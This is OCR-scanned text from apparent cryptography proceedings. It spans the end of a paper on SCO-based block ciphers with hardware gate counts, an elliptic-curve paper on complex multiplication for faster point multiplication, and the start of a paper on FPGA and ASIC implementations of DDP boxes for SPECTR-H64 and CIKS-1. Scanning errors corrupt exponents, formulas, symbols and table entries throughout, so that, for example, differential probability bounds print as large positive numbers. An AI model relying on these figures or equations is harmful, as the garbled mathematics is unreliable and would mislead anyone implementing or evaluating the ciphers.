SCO boxes used in SCO-1 is equal to 6¢g, and 12¢,, for respective implementation vari-
ants. The critical path of one round of the cipher SCO-1 equals 15¢5 (E) and 27t (C).
The critical path of the full SCO-1 equals 122t (E) and 218tg (C) (see Table 4).

Conservative estimate shows that implementation of the boxes Sg(ze;)% and Sgez);%
takes about 1000 (C) and 2300 (E) nand gates. The last figures define the implementa-
tion cost of the additional instruction of some hypothetical microcontroller while im-
plementing the ciphers SCO-2 and SCO-3 in firmware.

One round of the hardware-oriented cipher SCO-1 can be implemented using about
4,400 (C) and 9,600 (E) gates. In the case of the implementation hardware architecture
described in [5] all rounds are implemented, the implementation is free of pipelining
though. For full round SCO-1 we have the implementation cost 35,200 (C) and 76,800
(E) nand gates. To the last figures one should add some gate count corresponding to
two 64-bit registers for input and output data and to the 128-bit register for key. This
makes about 1,500 additional nand gates. The whole implementation cost of SCO-1 is
presented in Table 4 which compares hardware evaluation for different ciphers.

One can see that the fastest implementation corresponds to 128-bit cipher Rijndael
(performance z ~ 1.35 bit/ts) and the cheapest one corresponds to the C variant of the
SCO-1 (580 gate/bit). The SCO-1 (z ~ 0.30 — 0.52 bit/z,)) is faster than RC6 (z = 0.15
bit/t, ), Triple-DES (z ~ 0.29 bit/t, ), and Twofish (z =~ 0.27 bit/t,)). It is remarkable that
SCO-1 is cheaper than DES (~ 840 gate/bit). The structure of the COS-based ciphers
suites well for the pipeline-architecture implementation. Such implementation of SCO-
1 with 85,000 gates provides performance z = 4.1 bit/ty,. Hardware implementation

efficacy of the SCO-1 is due to designing it at bit level. Using the SCO boxes S<62>;192
one can design a 128-bit SCO-based cipher having the round structure similar to that of
SCO-1. We have estimated that in this case the performance 8.3 bit/ts can be easy get
for a pipelined implementation with about 170,000 gates.

Our preliminary security estimations for SCO-1, SCO-2, and SCO-3 show that the
most useful linear and differential characteristics (DCs) correspond to the case of few
active bits, the differential attack (DA) being more efficient than linear one. The last
corresponds to the results on analysis of different DDP-based ciphers presented in [3].

Let p(r) =Pr (A LA ) denote the probability that the A input difference transforms
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Table 4. Hardware evaluation of SCO-1 against some well-known ciphers

Cipher, Gate count Critical path, tg
(implementation) ||key schedule|encryption |key setup,|encryption

SCO-1, (©) 500 36,200 - 218
SCO-1, (E) 500 77,800 - 122
DES, ([7]) 12,000 42,000 - 80
Triple-DES, ([7])|| 23,000 120,000 - 220
Rijndael, ([7]) 94,000 520,000 83 95
RC6, ([7]) 900,000 | 740,000 | 3000 880
Twofish, ([7]) 230,000 | 200,000 23 470

into the A’ output difference when passing through r rounds. For the considered ciphers
the most efficient is the two-round iterative DC with the difference (A},A%), where
indices indicates the number of active bits and A denotes arbitrary difference with one
active bit, i.e. Aff denotes a batch of the one-bit differences in the right data subblock. We
have obtained the following evaluations: p(2) < 2728, p(8) < 27112 for SCO-1; p(2) <
2716, p(12) < 27% for SCO-2; and p(2) < 2713, p(12) <2778 for SCO-3. These results
show that the described ciphers are indistinguishable from a random cipher with DA
using the considered iterative DC.

5 Conclusion

This research has shown that using controlled permutation and substitution-permutation
networks with symmetric topology one can efficiently implement different switchable
DDOs. Using class of elementary controlled involutions Sy.; [2] different variants of
SCOs can be designed the given fixed topology. For fixed type of the S,.; box different
SCOs can be constructed using different topologies. One can extend the class of SCOs
using different pairs of the mutually inverse elementary boxes S,.; and S{ll that are not
involutions. In this case one should place them in a symmetric manner in a symmetric
topology. The COS boxes used as DDOs are highly non-linear primitives [2] and it is
evident that SCOs have the same non-linear properties (for fixed topology and fixed
type of the boxes Sy.1).

The paper proposes several SCO-based block ciphers, however they are presumably
only implementation examples. Using methodology [3] of the block cipher design based
on the use of the DDOs the reader can easy construct many other cryptosystems using
very simple key scheduling and having high security against known attacks. While us-
ing SKS in the block cipher design one can apply the SCO boxes that should provide
(1) avoiding the weak keys and (2) security against slide attacks based on chosen key.
An interesting peculiarity of SCO-1 is that it uses no reversing the key scheduling to
change encryption mode. This is due to symmetry of the used keys scheduling. This
peculiarity makes the implementation to be cheaper.

Our preliminary security estimations of the proposed ciphers show that they are in-
distinguishable from a random cipher with differential, linear and other attacks. Differ-
ential cryptanalysis appears to be more efficient against proposed SCO-based ciphers
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than the linear attack. This result is in confirmation with the analysis of other DDO-
based ciphers described in [3]. The main results of this paper can be formulated as
follows:

1. The SCOs are introduced as a new cryptographic primitive suitable to designing
fast ciphers while implemented in cheap hardware.

2. The use of SCOs is a method to prevent weak keys and homogeneity in the ciphers
with SKS. Several SCO-based ciphers with SKS have been proposed.

3. Use of SCOs allows one to design secure ciphers that are free of reversing the
key scheduling while changing encryption mode for decryption one.
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Abstract. A method for elliptic curve point multiplication is proposed with
complex multiplication by v—2 orby (1£+—-7) / 2 instead of point doubling,

speeding up multiplication about 1.34 times. Complex multiplication is given
by isogeny of degree 2. Higher radix makes it possible to use one instead of two
point doublings and to speed up computation about 1.61 times. Algorithm, rep-
resenting exponent in +/— 2 -adic notation for digital signature protocols, is
proposed. Key agreement and public key encryption protocols can be imple-

mented directly in +/— 2 -adic notation.

1 Introduction

Elliptic curves over finite fields, proposed in [1], are widely used in cryptography,
because of their speed and exponential strength. A wide range of cryptographic
primitives (digital signatures, public-key encryption, key agreement, zero-knowledge
proofs, oblivious transfer, etc.) can be implemented with elliptic curves.

Elliptic curve E(K) over the field K of characteristic # 2 is given by affine equation
¥’ = f(x), where cubic polynomial f(x) = x’ + a,x’ + a,x + a, has no multiple roots in K
(algebraic closure of K). Pairs (x, y), satisfying affine equation, and the point of infin-
ity P_, which cannot be represented as a solution of elliptic curve affine equation,
form the set of affine elliptic curve points. The whole set of elliptic curve points is
given by  projective  equation YZ=X+aXZ+aXZ +aZ, where
(X, Y, Z) = (uX, uY, uZ) forany u € K and P_= (0, 1, 0).

Elliptic curve points form additive Abelian group with the point P_ as the group
zero, (x,y) + (x,—y) = P_. Multiple point addition (x,y) + ... + (x,y) = n(x, y) gives
point multiplication by an integer n. Let K = F_ be finite field of ¢ = p" elements. Then
group E(F) has finite order #E(F,). According to Hasse’s theorem [2] it holds

HE®F,)-qg-1|< 2\/5 . Group E(F) is either cyclic or a direct sum of two cyclic

groups [1]. In the latter case group order is not square-free. For elliptic curve E (F))
with #E\(F ) = g + 1 + T there exists twisted curve E,(F ) with #E,(F ) =g+ 1-T.
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Infinite group E(Fq) has endomorphisms (x, y) — n(x, y), where n € Z. If the set

of these endomorphisms is strongly larger than Z, elliptic curve has complex multi-
plication.

Security of elliptic curve cryptosystems, such as ECDSS [3], public key encryp-
tion, Diffie-Hellman key agreement, etc. relies upon the complexity of elliptic curve
discrete logarithm problem (ECDLP): given elliptic curve E(F ), generator Q € E(F )
of prime order r and P € {Q) find an exponent [ such that P = IQ.

Generalized Pollard’s algorithm [4] of complexity 0(\/7 ) is the best known one
for solving ECDLP. If E(F ) has efficiently counted non-trivial automorphism group,
then Pollard’s algorithm can be executed in two stages. The first one deals with the
orbits of automorphism group and the second one refines logarithm inside the orbit
[5]. Usually such automorphisms correspond to complex multiplication.

For example, elliptic curve E(F): y'=x'+B, p=1 (mod 6), has automorphism
@(x, y) = (wx, —y), where @ — ® + 1 =0 in F . If 7 does not divide #E(F ), then ¢ acts
in the cyclic subgroup of order r and ¢°= 1 (mod r). Cardinality of affine point orbit
for this subgroup is equal to 6. For all the elements of the orbit the value x’ (and y’) is
the same. There exists p € F such that p°= 1. If / denotes discrete logarithm of an
arbitrary element of the orbit, then p'/ (mod r) is discrete logarithm of some other

element of the orbit. This property decreases ECDLP complexity about \/E times.
Similarly, elliptic curve E(F): y'=x'+Ax, p=1 (mod4), has automorphism:
¢(x, y) = (—x, iy), where i’ = -1 in F.If ¥ does not divide #E(F ), then @ acts in the
cyclic subgroup of order r and ¢‘=1 (mod r). For this curve ECDLP complexity is
decreased about 2 times.

ECDLP is hard if the following situation holds:

— ris alarge prime (160 bits for ECDSS and 254-256 bits for Russian digital signa-
ture standard GOST R 34.10-2001; »* does not divide group order in both stan-
dards),

— there is no Weil pairing injective homomorphism [6] from E(F,) to any group F;n

for small exponents n (i.e. ¢'# 1 (mod r) for 1 <k <20 in ECDSS and 1 <k <31
in GOST), and

— there is no surjective homomorphism from E(F ) to F, [7] (i.e. r # p, where p is the
characteristic of F).

2 Elliptic Curve with Complex Multiplication by +—2

Elliptic curve cryptosystem rate is dictated by the complexity of multiplication a point
by a number. Usually this procedure is performed by doublings and additions [1]. For
example, to compute 250 we represent 25 in binary: (11001), and then compute the
chain, beginning from the most significant digits: 2°(2Q + Q) + Q.

Point multiplication procedure allows further acceleration if higher radix exponent
representation is used, combined with signed binary digits (0, 1, —1) [8]. In signed
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binary window method the string of k=2 binary units (0, 1, 1, ..., 1, 1) is replaced
with the string of k + 1 signed binary digits (1, 0, 0, ..., 0, —=1). The higher radix ex-
ponent method uses radix of the form 2, where d is relatively small, for example,
d = 4. Firstly points 20, 30, ..., (2*~1)Q are computed. Secondly exponent number is
represented in 2‘-base notation, so only (log, r)/d point additions are needed.

For affine point doubling and addition inversion in F, is needed. This operation is
relatively slow. Projective coordinates exclude inversion during doubling and addi-
tion; so inversion is needed only once, after all doublings and additions are done.
Doubling (and addition) requires addition, subtraction and multiplication in F . The
first two operations are of linear complexity and the third one is of quadratic com-
plexity, so the rate of elliptic curve arithmetic depends on the number of multiplica-
tions. Doubling and addition need 12 and 15 field multiplications respectively [8].

Elliptic curves with j =0 and j = 1728 possess complex multiplication. So to com-
pute kQ we represent exponent k as k = k, + wk, (mod r), where w is an eigenvalue of

complex multiplication operator, and |k0| <Jr , |k1| <+ . We can use common base

of points Q, 20, ..., plitozar)/ 2JQ for k, and k,. Point multiplication, performed as k,Q,
kO, wk,Q, k,O + wk,Q [8], is faster than commonly used multiplication.

We introduce a large class of elliptic curves with fast complex multiplication in-
stead of doubling and a simple algorithm, establishing bijection between the field F,
and the subset of polynomials of degree < r— 1 over {-1, 0, 1}.

1728 -4A°
4A° +27B°
up to isomorphism. This curve over Fp has isogeny of degree 2: rational map

Elliptic curve E(F): y’=x"+Ax’ + Bx is defined by j-invariant j=

E(Fp) - E, (Fp), under which P_ — P_ (in practice it is sufficient to consider curve
over F, or its quadratic extension). Isogeny kernel is a set of E (Fp) -points, mapping

to P_; it consists of four points of order 2.
For isogeny E — E, curves E, E, are called isogenious. The set of curves, isogen-
ious to the given curve E with invariant j, is given by F -roots of modular polynomial

D(u,v)=u' + V' — v’ + 1488uv(u + v) — 1620000’ + V%) + 40773375 uv +
+8748000000(u + v) — 157464000000000 ,

if we set v =j. These roots are j-invariants of elliptic curves, which have isogeny of
degree 2 with E. If j is a root of @,(u, j), then isogeny maps elliptic curve into itself
and corresponds to complex multiplication by non-real quadratic integer with the

norm 2. There exist two quadratic integers of this kind: 4/—2 and (1++/—7 )/ 2.
Let E(F ) be elliptic curve over prime finite field with one parameter t:

y2=x3—4tx2+2tzx. (1)

It is known [9] that if
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p=a +2b, (2)
then
#E(F)=(a% 1) +2b". 3)

The ring Z[+—2] is Euclidean, so it possesses unique factorization and a prime p
has unique representation (2) if and only if -2 is quadratic residue modulo p. Indeed,

p
divides tp (and p) over Z[+v—2], so (2) holds. Conversely, if (2) holds, multiplying
(2) by b* gives a’b’+2=0 (modp). Let T=a+by-2, T=a—by-2. Then
p=7n.Bothwand T are prime in Z[4/—2], because their norm is prime.

Note that if a =£1 (mod 6) and b =3 (mod 6) in (2) then p =3 (mod 4), #E(F ) =2
(mod 4) and it is possible to get r=(p+1£2a)/2. Twisted curve is obtained by

-2
if (—]:1, then equation x° + 2 = tp has a root in Z. Hence (x++/-2)(x—+/—2)

multiplying ¢ by arbitrary quadratic non-residue modulo p, for example —1.
Assume that r=#E(F)) / 2 for (1) (instead of 2 other divisors of #E(F) can be

used). Isogeny of degree 2 acts over F, on the subgroup of order r as complex multi-
plication by /-2 :

=200, y) = (=2 /@22, (y(* —262)) [ 2=2x%)) .

So, given prime group order r, there exists +¥—2 (modr) and there are positive in-

tegers c, d such that r = ¢’ + 2d’. Note that since #E(F,) # 0 (mod r’), there exists only
one subgroup of order r.
Elliptic curve (1), given in projective form Y°Z = X’ — #X°Z + 2t°’XZ’ for

t= 1/ «/—2, has complex multiplication:

V=2(X.Y,2) = (-Y’Z,Y(X* +Z) /-2, 2XZ) . ©)

Multiplication (4) is faster than doubling: only 7, instead of 12, modular multipli-
cations are needed. So if we use complex multiplication instead of doubling, the rate
of cryptographic algorithms increases about 1.34 times.

For p =3 (mod 4) transformation x < x+4t/3, t « +(3/10)”""* converts ellip-
tic curve (1) to “usual” Weierstrass form:

y2=x3+Ax+B (5)
with A=1 if p=+x1 (@mod10) and A=-1 if p=+£3 (mod 10),

B =+(14/15)(2/15)""""* . For the twisted curve coefficient B is of opposite sign. Then
point doubling and point addition formulas are the simplest ones. Sometimes a half
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number of doublings can be performed instead of even number of complex multipli-
cations.

This method can be used for higher radix point multiplication. For example, if
radix is 16 and we are computing kQ, then we are to precompute 20, 30, ..., 150, to
divide k (as binary vector) into 4-bit blocks: k =k, + 16k, + ... + 16"k, and to com-
pute successively

P =kQ,P  =16P +k O (6)

fori=m,m-1, ..., 1.
One iteration in (6) takes four point doublings and one point addition. If we repre-
sent exponent k in §-base notation with 8 =+/—2 (modr), then &' = 2°, radix is 4 and
one iteration takes only two doublings instead of four ones. Precomputation includes

3
computation of points (2 ciS’)P with ¢, e {-1, 0, 1}. Vectors (c,, ¢,, c,, ¢,) are such
i=0

that (¥, 1, *, 1) = (¥, 0, *, —1), where * means arbitrary digit. So we need 24 vectors
(up to inverse): (0, 0,0, 1), (0,0, 1, 0), (0,0, 1, 1), (0, 0, 1,-1), (0, 1, 0, 0), (O, 1, 0, —-1),
0,1,1,0), (0,1,-1,0), (0,1, 1,-1), (0, 1,-1, 1), (0, 1,-1,-1), (1,0, 0, 0), (1,0, 0, 1),
(1,0,0,-1), (1,0,-1, 1), (1,0,-1,1), (1,0,-1,-1), (1,1,0,0), (1,-1,0,0), (1,1,0,-1),
1,1,-1,0),(1,1,-1,-1),(1,-1,-1,0), (1, -1, -1, 1).

Note that ECDSA uses point multiplication for fixed points, so the bases for these
points can be computed independently. Here the number of field multiplications is
1.61 times smaller for 4-digit radix comparatively to usual doubling-addition 4-bit
radix algorithm.

To generate elliptic curve we are to find integers a, b such that p =a’ + 2b’ is
prime and p + 1 + 2a or p + 1 — 2a has required large prime factor .

3  +-2-ary Exponent Representation

Let K =Q[v—2] be quadratic imaginary field and O, =Z[+—2] be its ring of inte-

gers. Elliptic curve E(K) has endomorphism, given by complex multiplication by v—2 ,
so the prime r=#E(K)/2 in O is  uniquely  factored as

r= (c+\/3d )(c—\/zd) =pp . This factorization can be obtained from (2), (3):
2r=(at 1Y +2b°, r=b>+2((a%1)/2)*. Both p and P are primes in ZIV-21,
because their norm is prime in Z. Hence one of two congruences p=0(modr),
p =0(modr) holds if we take \/3 modulo r. According to (4), transitions between
p and its conjugate are obtained by changing the sign of J-2 (mod p) , so without

loss of generality the first congruence will be considered.
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This point multiplication method can be used in those cryptographic protocols that
do not take solving equations modulo r. Such protocols can be implemented for

4/—2 -ary exponent representation.

Protocol 1. Diffie—-Hellman Key Agreement. Elliptic curve E(K) and generator
Q € E(K) are publicly known.
Users A and B can agree the secret session key:

. A chooses exponent u, € O, at random, computes u,Q and sends this point to B.
. B chooses exponent u, € O, at random, computes u,Q and sends this point to A.
. B multiplies received point u,Q by his exponent u, and obtains point u,u,Q.
. A multiplies received point u,Q by his exponent u, and obtains point u,u,Q.

AW N =

Point u,u,Q = u,u,Q is the desired secret key.

Protocol 2. ElGamal Public Key Encryption. Elliptic curve E(K), generator
Q € E(K) and public key P € E(K) are publicly known. Exponent / € O, such that
P =10 is the user’s B secret key. Users A and B can implement public-key
encryption/decryption for message m, 1<logm<loglp|-1 (|p| is integer,
corresponding to vector p with binary coefficients).

1. A chooses exponent k € O, at random, computes points R = kQ, S = kP, computes
XOR-sum ¢ = x;, ® m and sends ciphertext (c, x,) to B.

2. B computes ty, as a square root of x, + Ax, + B and obtains point +R; multiplies
this point by /, obtains point +$ = (x,, +y,) and decrypts a message m = x; @ c.

Digital signature protocols such as DSS take computation modulo p in O,. Compu-
tation can be implemented in two steps: usual computing in Z/rZ and mapping the
result into the field O, /pOy .

Any exponent admits of unique minimal V-2 -ary representation with the length
log,r at most. Prime fields F, and O, /pO, consist of r elements and hence are iso-
morphic. So exponent minimization is equivalent to reduction modulo p in O,. Note
that 6 + Tp = 6 (mod p) for 6, T € O,.

Norm N of quadratic integer s+ tN-2 is N (s+ t\/—_2) =s* +2¢*. Norm function
is multiplicative and gives isomorphism from (O, /pO,) to F . Reduction
(ke F)— (k (mod p) € Oy /pOy ) is performed as norm minimization. The follow-
ing algorithm reduces integer modulo p.

Input. Integer k; p=c+ dv-2.

Output. k =k, + k-2 (modp), where |k0| < \/7 |k]| < \/7 .
Method.

1. Setk, < k, k, « 0, Kk, +k~—2 .
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2. Find optimal step length in real and imaginary directions: n, = |_(ckO +2dk,)/ rJ,
n, =|(ck, —dk,)/r | and norms N =N(x-np), N,=N(k-n-/—2p). Square

brackets here mean the nearest integer.

3. If n,=n,=0 then set k < x else
3.1.If N < N, then set K <— Kk — n,p else set K ¢« K—n,.\/zp.
3.2. Go to step 2.

4. Return(k).

Algorithm finds representation k =k, + kl\/z (modp) with minimum norm
N(k) < r and takes two iterations at most: for real and imaginary directions. In fact
this algorithm computes field isomorphism ¢: F, = O,, so it gives ¢(0) =0, (1) =1,
and if @(k) = x then @(k + 1) =k + 1 (mod p).

The process can be illustrated geometrically in complex rectangular lattice with
base vectors {1,\/3 } as a successive approach to the origin. It comes to a halt as
soon as quadratic integer x falls into a parallelogram, which is disposed symmetrically
within the ellipse x° + 2y° = r and contains r integer lattice points and.

Algorithm can be speeded up by analogy with usual Euclidean algorithm transfor-
mation to binary one. To do this, complex number p (in \/3 -base notation) is rep-
resented as a vector over {—1,0,1} and k =2K,.2i is represented as a vector
(....,-K,,0,K,,0,-K,, 0, K)). No computable orbit of automorphism group is known

for given point of order r. Note that if 4/—2 generates the whole group F, or its large
subgroup, then orbits attack described in section 1 has no advantages over points
attack even though the orbit can be efficiently computed. So none of known algo-

rithms for ECDLP solving is faster than O(\/7 ) elliptic curve operations.

4 Elliptic Curve with Complex Multiplication by (1++/—-7 )/ 2

This approach is also suitable for elliptic curves with complex multiplication by
(l+\/j)/2. Let K= Q[\/j] and Oy =Z[(l+\/j)/2] be imaginary quadratic
field and its ring of integers, respectively. Ring O, is Euclidean and possess unique
factorization. Prime field characteristic p = ¢’ + cd + 2d’ can be linearly transformed
to p=a’+7b, where a=0 (mod2), b=1 (mod2). So p=3 (mod4),
#E(F)=p+1+2a=0 (mod 4).

This curve can be given by Weiersrass equation (5) with A:(i/sw (Jacobi
p

J
symbol) and B = (2/5)(=7/5)"*"*(mod p) . For the twisted curve coefficient B is of
opposite sign. Complex multiplication formulas become simpler if we use equation in
another form.
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Let &=(1++-7) / 2 in F, Complex multiplication for the curve
Y?Z = X* +1X*Z +1°E°XZ* /36 , where t = —6/(2+&?) , is given by

((A+=7)/2)(X,Y.Z) = (Z(oY* + X*), YV (X +8Z°), X*Z)

with o=E8/4,y=-8/8,8=—E°/36. This complex multiplication takes 8 field
multiplications, so this curve is slightly slower than the curve with complex multipli-
cation by J-2.

Complex multiplication by (1— \/j )/ 2 is given by conjugate coefficients a, 7y, d.
Two successive complex multiplications by conjugates give doubling, so radix can be
represented by two or four digits from the set {—1, 0, 1}.

Let m and M be operators of complex multiplication by conjugates. Then
r=d”+d'b’ +2b" = (a+bn)(a+bn) = pE presents factorization of prime group
order in O,. Either p or p corresponds to 0 modulo r. Without loss of generality we
can take p =0 (mod r). Fields F, and O, /pO, consist of r elements and hence are
isomorphic. Isomorphism F, — O, /pO, can be computed by algorithm, similar to
one described in the previous section. Note that algorithm takes two iterations if it

uses orthogonal directions, that correspond to 1 and +/—7 . More iterations can occur

if non-orthogonal directions 1 and (1 + \/j )/ 2 are used.

It can be also shown that each k € F, can be represented as polynomial of alternat-
ing operators 1 and M of degree <log,r with {-1, 0, 1} coefficients. So using radix 4
allows speeding up elliptic curve point multiplication about 1.5 times with respect to
analogue radix 16 method.

One can use complex multiplication by v—3, (1+4/-1 1)/ 2, given by isogeny of
degree 3, but formulas for complex multiplication, given by isogenies of degree = 3,

are more complex than considered ones.
Elliptic curve cannot possess two or more complex multiplications in different

imaginary quadratic fields Q[—D,], Q[/—D,1, where D,, D, are square-free. If
this were the case, there would be two representations p=a’+ f’Db (or

D, +1 D, +1
p=a2+abl+fl—‘b12) and p=a’+f,D,b; (or p=a2+ab2+fz—2b22)

with conductors f,, f, [9]; this leads to contradiction.

Hence, considered elliptic curves seem to be the fastest over prime finite fields.
This arithmetic can be used also for elliptic curves in any other normal form (Legen-
dre, Hesse, etc.).
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Abstract. Recently, Data Dependent Permutations (DDP) have attracted the in-
terest of cryptographers and ciphers designers. SPECTR-H64 and CIKS-1 are
latest published powerful encryption algorithms, based on DDP transforma-
tions. In this paper, the implementation cost in different hardware devices
(FPGA and ASIC) for DDP is introduced. In addition, the performance of these
data transformation components is presented. Detailed analysis is shown, in
terms of covered area, frequency, and throughput for DDP VLSI integration.
Furthermore, two different architectures for hardware implementation of CIKS-
1 and SPECTR-H64 are proposed. The first, based on full rolling technique
minimizes the area resources. The second uses a pipelined development design
and has high-speed performance. Both architectures have been implemented in
FPGA and ASIC devices.

Keywords: DDP Transformations, CIKS-1, SPECTR-H64, Hardware Imple-
mentations, Block Cipher.

1 Introduction

Security is a primary requirement of any wired and wireless communication. Encryp-
tion algorithms are meant to provide secure communications applications. New en-
cryption algorithms have to operate efficiently in a variety of current and future ap-
plications, doing different encryption tasks. All hardware implementations have to be
efficient, with the minimum allocated logic gates. This means simplicity in cipher’s
architectures with enough “clever” data transformation components. A communica-
tion protocol implementation, demands low power devices and fast computation
components. The ciphers of the near future have to be key agile. Many applications
need a small amount of text to be encrypted with keys that are frequently changed.
Many well know applications, like IPsec, use this way of algorithm’s operation. Al-
though the most widely used mode of operation is encryption with the same key for
all the amount of transport data, the previous mode is also very useful for future ap-
plications. Ciphers requiring subkeys precomputation have a lower key agility due to
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the precomputation time, and they also require extra RAM to hold the precomputed
subkeys. This RAM requirement does not exist in the implementations of algorithms,
which compute their keys during the encryption/decryption operation. Cellular
phones technology demands specific characteristics of the cryptography science.
Algorithms have to be compatible with wireless devices restricted standards in hard-
ware resources.

Two new block ciphers, SPECTR-H64 and CIKS-1, based on Data-Dependent
Permutations (DDP) were developed the last two years [1-2]. These encryption algo-
rithms are both 64-bit block ciphers suitable for software and especially for hardware
implementation. They are iterative cryptosystems based on fast operations (controlled
permutation boxes, XOR, fixed permutations) suitable to cheap hardware [3]. The
key scheduling is very simple in order to provide high encryption speed in the case of
frequent change of initial key. These ciphers use fixed permutations (rotations),
which do not raise the hardware implementation cost, and do not causes any addi-
tional time delay for encryption/decryption.

In this paper, the implementation cost of the DDP boxes used in CIKS-1 and
SPECTR-H64 is analyzed. Different hardware devices (FPGA and ASIC), are used in
order to study the VLSI integration of the permutations of this kind, by using the
allocated resources, and operating frequency. In addition, two different architectures
are proposed for the implementation of the CIKS-1 and SPECTR-H64 ciphers. The
first uses the full rolling technique and minimizes the allocated resources. The second
one is based on a pipelined development design and has high speed performance.
Finally, the proposed CIKS-1 and SPECTR-H64 implementations are compared with
other widely used ciphers, in order to have a detailed view of implementation cost
and performance, of these two DDP-based ciphers.

This work is organized as follows: in Section 2, the DDP are described. In the
same section the implementation cost is illustrated and the integration performance is
presented. In Section 3, the full rolling and pipelined architectures for CIKS-1 and
SPECTR-H64 implementation are introduced. In the next Section 4, the VLSI inte-
gration synthesis results of the proposed architectures are given. In addition, compari-
son with other ciphers implementations is presented. Finally, conclusions are dis-
cussed in Section 5.

2 Data Depended Permutations (DDP)

In 1994 using data-dependent rotations (DDR) R. Rivest designed a simple cryptosys-
tem RC5 [4] suitable for fast software implementation. Different studies [5-6] have
provided a good understanding of how RC5’s structure and DDR contribute to its
security. Last years DDR appear to be very interesting to cryptography. They attract
cryptographers’ attention because of their efficiency while being used in cooperation
with some other simple data operations. The DDR help to thwart successfully differ-
ential and linear cryptanalysis [6]. Several studies provide some theoretical attacks
based on the fact that few bits in a register define selection of concrete modification
of the current rotation operation. Some improving in the use of DDR is introduced in
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AES candidates MARS [7] and RC6 [8] in which all bits of the controlling data sub-
block influences the selection of the current value of the rotation, the number of dif-
ferent modifications of the DDR is small though. A more efficient way to define
significant role of each bit of the controlling data subblock is the use of DDP having
very large number of different modifications. Design of ciphers based on DDP ap-
pears to be a new and perspective direction in applied cryptography [1-3] oriented to
the use of very cheap hardware.

Two new block ciphers, SPECTR-H64 and CIKS-1, based on DDP were devel-
oped the last two years [1-2]. In these ciphers, the appropriate data diffusion is
achieved due to the use of DDP having 2* and 2" bit permutation modifications. In
these ciphers the DDP are performed with the operational boxes P, (Fig.1), where n
is the size of the input and m is the size of the controlling input. A P,, box is con-
trolled by one bit v. It swaps two input bits, if v = 0, otherwise (v = 1) the bits are not
swapped. In general the value v is assumed to be dependent on encrypted data and/or
key bits. For a given P, box, suppose an arbitrary input bits x, x,, ..., x,, withn = h
and arbitrary & output bits y,, y,, ..., y, there is at least one CP-modification moving x,
toy foralli=1,2,..., h SuchaP, box is called a CP box of order A.
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Fig. 1. CP boxes: P, (a),P,, (b),P,, (c), and P"m(d)

It is quite evident that the box P, is of order h, if the box P, is of order h. The
maximal order of the CP box P, is equal to n. The set of CP-modifications of the P,
box of maximum order contains all of n! possible bit permutations. The P, boxes of
the orders h = 1,2, 4, ..., n, where n = 2", are described in [3]. The CP boxes used in
both SPECTR-H64 and CIKS-1 consist of a number of layers. Each layer contains
n/2 parallel P,, boxes. The CP box consists of 2m/n P, -layers. The concatenation of
all controlling bits corresponding to the /th layer we call the /th controlling substring
V(l). By swapping the input and the output of an arbitrary given P, box one can
easily construct a respective inverse P' box, with the same controlling substring

nim

n/m
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V(I) corresponding to the Ith layer of the P, and to the (2m/n — [+1)th layer of the P’
! .. For example, Fig. 1,d represents the CP-box operation P",,, which is the inverse
of the CP-box operation P,, (Fig. 1,c). According to [3] the minimum number of
layers required to implement the CP box of the order h=1,2,4, ...,n/4 is
s =logn + log,h = log,(nh). To implement the P, -box, where for n=2', of the

maximum order one has to use (2log,n — 1) layers.

2.1 DDP Architectures

In the next figures (Fig. 2-4) the architectures of the DDP boxes used in SPECTR-
H64 and CIKS-1 are illustrated. The basic building block of all these boxes is the P,,
box. For the hardware implementation of the P,, two different approaches can be
followed: a 2-bit multiplexer and a logic gate chain. This box is designed with a chain
of logic gates, instead of a multiplexer block (Fig. 2). This selection has been done,
because the proposed logic-gate chain is faster compared with the 2-input multi-
plexer. The proposed P,, box has time delay equal to 0.47 nsec and it is 21% less than
the time delay of the multiplexer design (0.6 nsec). In the following figures the archi-
tectures of different CP boxes are given. In addition, the architecture of the inverse
box of each CP box is also presented.
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2.2 DDP Hardware Implementations

Each one of the illustrated CP boxes has been implemented in both FPGA and ASIC
devices. The implementations have been done using VHDL hardware description
language with the structural architectures, illustrated in the above figures. For the
FPGA implementations the Xilinx device 2V40cs144 was used [9]. For the ASIC
approach a 0.33 um library was selected.

In the next Tables I and II, the implementations synthesis results are illustrated for
both FPGA and ASIC approaches. The VLSI integrations are examined in the terms
of covered area and operating frequency. Especially for the ASIC device both number
of equivalent gates and measurements by using sqmil are given. This was done in
order to have a detailed study of the allocated resources. The covered area measured
in sqmil is depended on the used technology each time, 0.33 um in our case. The
number of gates of course is independent to technology, but do not provide measure-
ments to be considered efficiently in all of the cases and especially for comparison
reasons.

Table 1. FPGA Synthesis Results

Encryption CIKS-1 Cipher SPECTR-H64 Cipher
Igorithms
Covered Area F Covered Area F
FGs | cLBs | pF/Fs | CH? | FGs | cuBs | prrs | (CH?
Components

DP, 2 1 - 2.10 2 1 - 2.10
mP,, 8 4 - 1.06 8 4 - 1.06
nnp,, 24 12 - 0.70 24 12 - 0.70
V)P, 64 32 - 0.52 - - - -
V)P, 9 48 - 0.70 - - - -
VD P, 224 112 - 0.84 | 224 112 - 0.84

From the synthesis results for both FPGA and ASIC, it is proven that the CP boxes
are very cheap designs for hardware implementations. Their architecture is based on
simplicity. In addition to the offered high security level, the needed area resources are
minimized. The operating frequency reaches very high values. Especially all CP
boxes frequency is closed to 1 GHz. It has to be noted, that every CP box needs ex-
actly the same covered area resources and has the same operating frequency with its
inverse box. In SPECTR-H64 and CIKS-1 the CP boxes are formally different, since
they have different distribution of the controlling bits, both types of the CP boxes
being equivalent in certain sense and are implemented with the same cost though.
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Table 2. ASIC (0.33um) Synthesis Results

Encryption CIKS-1 Cipher SPECTR-H64
Igorithms
Covered Area Covered Area
F F
# Gates Area (GHz) # Gates Area (GHz)
Components
DP, 6 3 sqmil 212 6 3 sqmil 212
mP,, 24 12 sqmil 1.16 24 12 sqmil 1.16
1P, 72 36 sqmil 0.71 72 36 sqmil 0.71
192 96 sqmil 0.53 - - _
IV) Plﬁ/32 q
288 144 sqmil 0.73 - - -
V) P32/4s 4
VD P, 480 240 sqmil 0.87 480 240 sqmil 0.87

Using the results presented in Tables 1 and 2 it is easy to estimate the implementa-
tion cost of the P, -boxes of different orders for n = 2°. Indeed, the cost correspond-
ing to implementation of one layer of the P,, boxes is w, = wn/2 and for the s-layer
P .-box of the hth order one can estimate the cost as w, = wgns/2 = (wnlog,nh)/2,
where w, is the implementation cost of the box P,, and h =1, 2,4, ..., n/4.

For the presented allocated resources, the equivalent number of CLBs and gates
has been used, for the FPGA and the ASIC devices respectively. It is obvious that the
allocated area is increasing with an exponential function for larger boxes, but still
remains in low levels for all the CP boxes. For example and in order to have a better
overview of the covered area resources, it is mentioned that one bit adder is imple-
